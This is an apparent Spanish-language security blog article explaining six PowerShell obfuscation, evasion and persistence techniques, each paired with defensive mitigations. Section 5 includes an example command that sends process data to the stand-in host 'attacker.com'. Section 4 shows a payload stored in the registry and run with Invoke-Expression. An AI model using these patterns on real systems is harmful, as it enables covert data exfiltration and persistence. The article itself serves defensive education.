Artículos Guías Manuales Sistemas Linux Windows Redes MySql Binario 0 Binario Cero
Artículos Guías Manuales Sistemas Linux Windows Redes MySql Binario 0 Binario Cero

Técnicas de Ofuscación y Evasión en PowerShell: Análisis y Recomendaciones de Seguridad

Loading

PowerShell es una de las herramientas más potentes del ecosistema Windows, ampliamente utilizada tanto por administradores legítimos como por actores maliciosos. Su flexibilidad, capacidad de automatización y acceso profundo al sistema lo convierten en un entorno ideal para tareas administrativas, pero también para técnicas avanzadas de evasión y persistencia.

A continuación se analizan varias técnicas habituales que pueden aparecer en auditorías, pruebas de penetración o ataques reales, así como su funcionamiento y las implicaciones de seguridad que conllevan.

1. Ofuscación mediante variables de entorno

Ejemplo:

$env:PSVariable = 'Get-Process'; Invoke-Expression $env:PSVariable

Esta técnica consiste en almacenar un comando dentro de una variable de entorno y posteriormente ejecutarlo mediante Invoke-Expression. Su finalidad es ofuscar la intención del script y dificultar la revisión manual o automatizada del código.

Riesgos y consideraciones de seguridad

  • La ofuscación puede pasar desapercibida para herramientas de monitorización básicas.
  • Invoke-Expression es especialmente sensible al abuso, ya que ejecuta código dinámico.
  • Los registros de PowerShell pueden revelar la actividad si se tiene habilitado PowerShell Logging (Script Block Logging, Module Logging, etc.).

Mitigación

  • Activar la auditoría avanzada de PowerShell.
  • Bloquear o alertar el uso de Invoke-Expression.
  • Deshabilitar la ejecución de scripts no firmados en entornos críticos.

2. Renombrado de funciones para evasión

Ejemplo:

Function MyGetProc { Get-Process }; MyGetProc

Aquí se redefine una función legítima con un nombre diferente para ocultar su propósito real. Esta técnica pretende disminuir la visibilidad en análisis estáticos o herramientas de detección basadas en patrones.

Riesgos

  • Oculta la llamada real al comando.
  • Puede incorporarse dentro de cargas más complejas para ocultar comportamientos maliciosos.

Mitigación

  • Revisar el contenido de las funciones definidas dinámicamente en scripts.
  • Utilizar soluciones EDR capaces de analizar el comportamiento, no solo el nombre de las funciones.

3. Uso de clases para ocultar código

Ejemplo:

class HiddenCode { [string] Run() { return 'Hidden command executed' } }; 
$instance = [HiddenCode]::new(); 
$instance.Run()

PowerShell permite definir clases, y esta característica puede emplearse para encapsular código que pase más inadvertido que las funciones tradicionales.

Ventajas para un atacante

  • El código malicioso queda oculto dentro de un cuerpo de clase.
  • Reduce la detección por herramientas que solo analizan funciones o comandos explícitos.

Mitigación

  • Monitorizar la creación de clases dinámicas en scripts sospechosos.
  • Aplicar políticas de ejecución que impidan scripts no firmados.

4. Uso del Registro de Windows para persistencia

Ejemplo:

$path = 'HKCU:\Software\MyApp'; 
New-Item -Path $path -Force; 
New-ItemProperty -Path $path -Name 'Config' -Value 'EncodedPayload' -PropertyType String -Force; 
$regValue = Get-ItemProperty -Path $path -Name 'Config'; 
Invoke-Expression $regValue.Config

El Registro de Windows es un lugar habitual para almacenar configuraciones… y también payloads ofuscados. Una vez guardado, el código puede ser ejecutado posteriormente mediante PowerShell.

Riesgos

  • Facilita persistencia sin archivos visibles (fileless).
  • HKCU suele tener menos restricciones que otras ramas del Registro.
  • Difícil de detectar sin auditorías regulares del Registro.

Mitigación

  • Revisar claves sospechosas en rutas como Run, RunOnce y claves personalizadas.
  • Usar herramientas como Autoruns.
  • Bloquear ejecución desde datos obtenidos del Registro salvo casos estrictamente controlados.

5. Exfiltración de datos mediante canales externos

Ejemplo:

$data = Get-Process | ConvertTo-Json; 
Invoke-RestMethod -Uri 'http://attacker.com/data' -Method Post -Body $data

La exfiltración de información mediante peticiones HTTP/HTTPS es una técnica común debido a que el tráfico web suele ser permitido en la mayoría de redes.

Riesgos

  • Puede evadir sistemas básicos de DLP si la comunicación está cifrada.
  • El JSON permite estructurar grandes volúmenes de datos.

Mitigación

  • Inspeccionar tráfico saliente, especialmente POST hacia dominios no autorizados.
  • Implementar proxies con inspección de contenido.
  • Crear listas blancas de destinos permitidos.

6. Acceso a WMI para operaciones discretas

Ejemplo:

$query = 'SELECT * FROM Win32_Process'; 
Get-WmiObject -Query $query

WMI es una interfaz poderosa para consultar y manipular información del sistema. Muchos actores maliciosos la utilizan porque genera menos ruido que comandos directos en PowerShell.

Riesgos

  • Usada habitualmente en ataques “living off the land”.
  • Permite ejecutar consultas, lanzar procesos o acceder a datos del sistema.

Mitigación

  • Habilitar WMI logging.
  • Restringir el acceso WMI a cuentas no privilegiadas.
  • Usar EDR con inspección específica de actividad WMI.

Conclusión

Las técnicas descritas ilustran cómo características legítimas de PowerShell pueden emplearse para ofuscación, persistencia y evasión. Conocer estos métodos es esencial tanto para la defensa de sistemas como para auditorías de seguridad.

Binario Cero

Written by

Redacción Binario 0

You may also like...